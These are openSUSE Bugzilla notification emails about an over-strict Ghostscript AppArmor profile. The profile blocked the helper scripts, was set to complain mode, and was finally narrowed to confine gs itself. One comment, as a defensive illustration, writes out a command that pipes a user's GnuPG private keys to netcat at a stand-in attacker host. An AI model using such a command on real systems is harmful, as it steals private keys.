http://bugzilla.suse.com/show_bug.cgi?id=1134327 http://bugzilla.suse.com/show_bug.cgi?id=1134327#c1 Johannes Meixner changed: What |Removed |Added ---------------------------------------------------------------------------- CC| |jsegitz@suse.com Flags| |needinfo?(jsegitz@suse.com) --- Comment #1 from Johannes Meixner --- I declined that request with ----------------------------------------------------------------------- $ osc request decline 701304 --message="Thank you for your valuable contribution. Nevertheless I cannot just accept it because it lowers securits settings so I declined it and I created the openSUSE bug report boo#1134327 where our security team who made the AppArmor profile for Ghostscript can decide if we accept it." ----------------------------------------------------------------------- Johannes Segitz can you have a look here? -- You are receiving this mail because: You are on the CC list for the bug.

http://bugzilla.suse.com/show_bug.cgi?id=1134327 http://bugzilla.suse.com/show_bug.cgi?id=1134327#c2 --- Comment #2 from Dirk Stoecker --- Could openSUSE security team please in future not issue obviously wrong AppArmor profiles? This issue is immediate when calling the tool a single time. This profile can never have been tested with at least the minimum test calling each tool it affects once. I'm pretty sure my fix only fixes this one tool. There are many more scripts which very likely call other programs and which will fail as well. It took me several hours to find out what the issue with my software build was and how it could be solved! -- You are receiving this mail because: You are on the CC list for the bug.

http://bugzilla.suse.com/show_bug.cgi?id=1134327 http://bugzilla.suse.com/show_bug.cgi?id=1134327#c3 Johannes Segitz changed: What |Removed |Added ---------------------------------------------------------------------------- Flags|needinfo?(jsegitz@suse.com) | --- Comment #3 from Johannes Segitz --- (In reply to Dirk Stoecker from comment #2) Sorry for you trouble. I'll switch the profile to complain for now so that we can improve it to prevent regressions. I'll incorporate your changes -- You are receiving this mail because: You are on the CC list for the bug.

http://bugzilla.suse.com/show_bug.cgi?id=1134327 http://bugzilla.suse.com/show_bug.cgi?id=1134327#c6 --- Comment #6 from Johannes Meixner --- Johannes Segitz thank you for the prompt fix. Christian Boltz and Johannes Segitz thank you both for caring about the AppArmor profile for Ghostscript. -- You are receiving this mail because: You are on the CC list for the bug.

http://bugzilla.suse.com/show_bug.cgi?id=1134327 http://bugzilla.suse.com/show_bug.cgi?id=1134327#c8 --- Comment #8 from Johannes Meixner --- Christian Boltz and Johannes Segitz, I have a general question here, cf. https://bugzilla.suse.com/show_bug.cgi?id=1127934#c1 In the current apparmor_ghostscript source file https://build.opensuse.org/package/view_file/Printing/ghostscript/apparmor_g... the line --------------------------------------------------------------------------- profile ghostscript /usr/bin/{dvipdf,eps2eps,gs,gsbj,gsdj,gsdj500,gslj,gslp,gsnd,ps2ascii,ps2epsi,ps2pdf,ps2pdf12,ps2pdf13,ps2pdf14,ps2pdfwr,ps2ps,ps2ps2} flags=(complain) --------------------------------------------------------------------------- prevents execution of executables for all those files --------------------------------------------------------------------------- # for f in /usr/bin/{dvipdf,eps2eps,gs,gsbj,gsdj,gsdj500,gslj,gslp,gsnd,ps2ascii,ps2epsi,ps2pdf,ps2pdf12,ps2pdf13,ps2pdf14,ps2pdfwr,ps2ps,ps2ps2} ; do file $f ; done /usr/bin/dvipdf: POSIX shell script, ASCII text executable /usr/bin/eps2eps: POSIX shell script, ASCII text executable /usr/bin/gs: ELF 64-bit LSB executable, ... /usr/bin/gsbj: POSIX shell script, ASCII text executable /usr/bin/gsdj: POSIX shell script, ASCII text executable /usr/bin/gsdj500: POSIX shell script, ASCII text executable /usr/bin/gslj: POSIX shell script, ASCII text executable /usr/bin/gslp: POSIX shell script, ASCII text executable /usr/bin/gsnd: POSIX shell script, ASCII text executable /usr/bin/ps2ascii: POSIX shell script, ASCII text executable /usr/bin/ps2epsi: POSIX shell script, ASCII text executable /usr/bin/ps2pdf: POSIX shell script, ASCII text executable /usr/bin/ps2pdf12: POSIX shell script, ASCII text executable /usr/bin/ps2pdf13: POSIX shell script, ASCII text executable /usr/bin/ps2pdf14: POSIX shell script, ASCII text executable /usr/bin/ps2pdfwr: POSIX shell script, ASCII text executable /usr/bin/ps2ps: POSIX shell script, ASCII text executable /usr/bin/ps2ps2: POSIX shell script, ASCII text executable --------------------------------------------------------------------------- But - as far as I understand it - the Ghostscript security issues are about the actual Ghostscript program (i.e. /usr/bin/gs) and not about the various helper scripts that are also provided by Ghostscript. Basically I wonder if the current AppArmor profile for Ghostscript is - on the one hand over the top because it prevents execution of executables for all those files above - on the other hand useless in practive because flags=(complain) does not prevent execution of arbitrary executables for the main security problem which is /usr/bin/gs Wouldn't it make more sense in practice to actually improve security for Ghostscript but do that step by step like - as initial step provide an AppArmor profile that actually prevents execution of arbitrary executables but only for /usr/bin/gs - as subsequent steps enhance that AppArmor profile as needed (and only where really needed) to also prevent execution of arbitrary executables for the various helper scripts that are also provided by Ghostscript But I know nothing about how AppArmor works so my above proposal could be just nonsense. -- You are receiving this mail because: You are on the CC list for the bug.

http://bugzilla.suse.com/show_bug.cgi?id=1134327 http://bugzilla.suse.com/show_bug.cgi?id=1134327#c13 --- Comment #13 from Johannes Meixner --- Johannes Segitz, as far as I see all those shell scripts are basically wrappers to call /usr/bin/gs (directly or indirectly) for specific use-cases. As far as I see none of those shell scripts use functionality from the Ghostscript library libgs.so.9 in any other way than by calling /usr/bin/gs. Perhaps I overlooked some obfuscated case but I think at least those shell scripts that are wrappers to only call /usr/bin/gs do not need an AppArmor profile that prevents execution of all executables, in particular I think preventing execution of basic Linux/Unix tools like awk cat ls mktemp rm sed and so on ... should be usually not needed for shell scripts. In contrast the actual Ghostscript program /usr/bin/gs must not be allowed to execute such basic Linux/Unix tools to prevent that a PostScript program can execute things like cat /home/user/.gnupg/private-keys | netcat server.attacker.net 12345 when an innocent user only liked to view the graphical output of that malicious PostScript program or save that as another data format. -- You are receiving this mail because: You are on the CC list for the bug.

http://bugzilla.suse.com/show_bug.cgi?id=1134327 http://bugzilla.suse.com/show_bug.cgi?id=1134327#c16 --- Comment #16 from Johannes Meixner --- In general it is insufficient to prevent execution of arbitrary executables only for /usr/bin/gs because actually it is /usr/lib64/libgs.so.9.* that contains the actual Ghostscript functionality. Accordingly all executables that can use /usr/lib64/libgs (e.g. executables that link directly with libgs or indirectly with libgs e.g. via libspectre) would have to be protected. I.e. the transitive closure of what can use /usr/lib64/libgs needs to be determined. E.g. an offhanded initial attemt on my openSUSE Leap 15.0 system: ----------------------------------------------------------------------------- # rpm -e --test ghostscript 2>&1 | grep libgs libgs.so.9()(64bit) is needed by ... graphviz-gnome-2.40.1-lp150.4.30.x86_64 libgs.so.9()(64bit) is needed by ... gimp-2.8.22-lp150.3.8.x86_64 libgs.so.9()(64bit) is needed by ... libspectre1-0.2.8-lp150.2.9.2.x86_64 # for f in $( rpm -ql graphviz-gnome ) ; \ do ldd $f 2>/dev/null | grep -q 'libgs\.so' && find $f -type f ; \ done /usr/lib64/graphviz/libgvplugin_gs.so.6.0.0 # for f in $( rpm -ql gimp ) ; \ do ldd $f 2>/dev/null | grep -q 'libgs\.so' && find $f -type f ; \ done /usr/lib64/gimp/2.0/plug-ins/file-ps # for f in $( rpm -ql libspectre1 ) ; \ do ldd $f 2>/dev/null | grep -q 'libgsrpm\.so' && find $f -type f ; \ done /usr/lib64/libspectre.so.1.1.8 ... ----------------------------------------------------------------------------- and then what executables need /usr/lib64/graphviz/libgvplugin_gs.so.6.0.0 or /usr/lib64/gimp/2.0/plug-ins/file-ps or /usr/lib64/libspectre.so.1.1.8 and so on ... -- You are receiving this mail because: You are on the CC list for the bug.

http://bugzilla.suse.com/show_bug.cgi?id=1134327 http://bugzilla.suse.com/show_bug.cgi?id=1134327#c18 --- Comment #18 from Johannes Meixner --- I wished I could edit typos in bugzilla comments: "in parctice" -> "in practice" -- You are receiving this mail because: You are on the CC list for the bug.

http://bugzilla.suse.com/show_bug.cgi?id=1134327 Dr. Werner Fink changed: What |Removed |Added ---------------------------------------------------------------------------- Blocks| |1150338 -- You are receiving this mail because: You are on the CC list for the bug.

http://bugzilla.suse.com/show_bug.cgi?id=1134327 http://bugzilla.suse.com/show_bug.cgi?id=1134327#c24 Dr. Werner Fink changed: What |Removed |Added ---------------------------------------------------------------------------- Status|IN_PROGRESS |RESOLVED Resolution|--- |FIXED --- Comment #24 from Dr. Werner Fink --- Seems to be solved by simply skipping tghe scripts but catching ghostscript its self -- You are receiving this mail because: You are on the CC list for the bug.